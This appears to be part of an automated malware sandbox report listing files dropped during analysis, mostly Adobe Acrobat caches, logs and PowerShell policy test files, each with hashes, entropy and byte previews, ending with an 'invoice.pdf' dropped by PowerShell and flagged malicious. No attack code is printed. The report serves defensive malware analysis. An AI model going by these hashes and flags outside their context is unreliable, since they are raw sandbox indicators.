Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"386448733e79081b9b0362d3130d6461","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564725000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2beb638ceb5893e4cd64a28a6958fb1f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564725000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"db5792ffe14d3872100dfde19d9079a6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564725000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"24a13f26b066d7b03f046e3f9e9f4efc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564725000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3502697ff290c70a84376b08b76458b4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564725000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2d1ade97879d0efa7e60f8c744a1f0ed","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1470343136414938
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urszxRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcc:TFl2GL7msz9Xc+XcGNFlRYIX2v3kUD
MD5:	CA244E206F04A126D1068ADBA53EBA67
SHA1:	44FF7FDFA1F2A641ADB6F4F616427E5B0283FE5A
SHA-256:	55419F8DDBEF20B89DEFE46D22F5E7950E6407497333FBF26A49861ACFEC210F
SHA-512:	EF4639AA7E54FD28AB5259411BCBA799012453094E355802EC9FB2F220F0557FF724706D7CA8327BD959B686548FEE64AC4E20E2F6D96A16326A62D3EEF2A538
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5508621965854268
Encrypted:	false
SSDEEP:	24:7+tIxUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxEqLxx/XYKp:7MIiXc+XcGNFlRYIX2vRqVl2GL7msx
MD5:	8313D4C50C871B2CB8A0D5A2DD52F649
SHA1:	0F1E7F250C5D88C17FB8EB15ACE3F2ED1EA5BADC
SHA-256:	09A61E6BC930935F00F473C405F15673E41FEDDEDCEEE59B8AE657384E346393
SHA-512:	A528281396465E975030139FF1BA15D39CE2B3129815C01FCEEEA05D614C8216D73F313D75884FA613BF7A58D3594843594DFA39937567D1E418CB7B6CF94E60
Malicious:	false
Preview:	.... .c.....bm.B..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgYQIvH0uxRuDSxBhn59pxX0zTYyu:6a6TZ44ADEYQItxRkeBhnYTK
MD5:	405AB54490A612B90484BA51BCB5D86B
SHA1:	51C88434973D04650AFADB83873AB4EA4260254F
SHA-256:	0AB88D3E12A240BCD5DDF23E4EA11DF4082E19AA5BDF7E0D36E54AEDF6D23786
SHA-512:	7A11F9006DCB5B3ADEF5CBD950AEBC7A0FE39E75C8122577EC51B239D45264D405525666E4DF179BE2A17446D2178EDC9CED58B07DC0460B15F8BA87BD3C19EE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3ccdf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClalN1ele:Qw946cPbiOxDlbYnuRK+bt1r
MD5:	0E5240C728612E315A60596EF8CDCB3F
SHA1:	8F13EC074F987062277B9A3CE8EC0D15968CE15A
SHA-256:	8D95BA97A6D2E559334916B59A2DEEB5DA83454D08C65D82FFB0937D558978F8
SHA-512:	B8C2DF706987D279C12E27C492A2218DF748360DF560600B621038D09451DA6019872B109E434AB90D8E22F917D679796014589FD118D56AE83970A59CB81C80
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.0.5.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iencknrm.32z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ziu4nhrh.3be.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A917ji1gk_wgcpn4_30k.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ulrm4e_wgcpn9_30k.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-05-19-011.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355129123074297
Encrypted:	false
SSDEEP:	384:KCmHmmKkQxB0SmanGwVaPheP30XUQtR4fYNxHrnhZX5A5pCbKDADG7mcag6uWzDF:U+oR
MD5:	12FB4224FB53DF7329F968C18D4C818B
SHA1:	C71A530135288BCAD1EFF9A3ACA6380AC72C7B66
SHA-256:	AF1C5D7758154119A94C2BE1D85523FA293742A7576942B86812759E9E9D8F13
SHA-512:	1F94D9D0070F9ECF6829896A0F960EB7D922C714500314127371F360A16375D0A4831BBBB83E35B0AF58657DF1EF53DFDD3F78EA16BDE712937D45272A7E9815
Malicious:	false
Preview:	SessionID=1fc27233-727c-4f88-85b3-d079668e0075.1736564719021 Timestamp=2025-01-10T22:05:19:021-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1fc27233-727c-4f88-85b3-d079668e0075.1736564719021 Timestamp=2025-01-10T22:05:19:030-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1fc27233-727c-4f88-85b3-d079668e0075.1736564719021 Timestamp=2025-01-10T22:05:19:030-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1fc27233-727c-4f88-85b3-d079668e0075.1736564719021 Timestamp=2025-01-10T22:05:19:030-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1fc27233-727c-4f88-85b3-d079668e0075.1736564719021 Timestamp=2025-01-10T22:05:19:030-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395764646467939
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbAOHp2j+GBcbeyL0NIqkcb5:V3fOCIdJDeWOHp2j+GNyL0qqL
MD5:	9C7809BD85E47B4738C3BA9F5456B700
SHA1:	CC65174E95153C53682A3507858BC0F2E5653E77
SHA-256:	9AA450C2386B964CFA19576D889B2BD4A49DC99946FE59D153DA961907B8E5FD
SHA-512:	40E14228521B7C23D2592E4CA069A23BA9C2CF843F6243DF4B92F576E09E0A515B69630A42931A18928C55BFF01D29B4695D3889F3A0F7579F91105F48166B58
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\306f16ed-6e4c-4b0f-9485-a6ec5e6fc6d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4075de5c-434e-4365-978b-af276c288c21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8f6aa575-0b75-4442-836b-f746bc991c2e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aa7cabe5-9e94-4548-b3e3-e029b88410e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
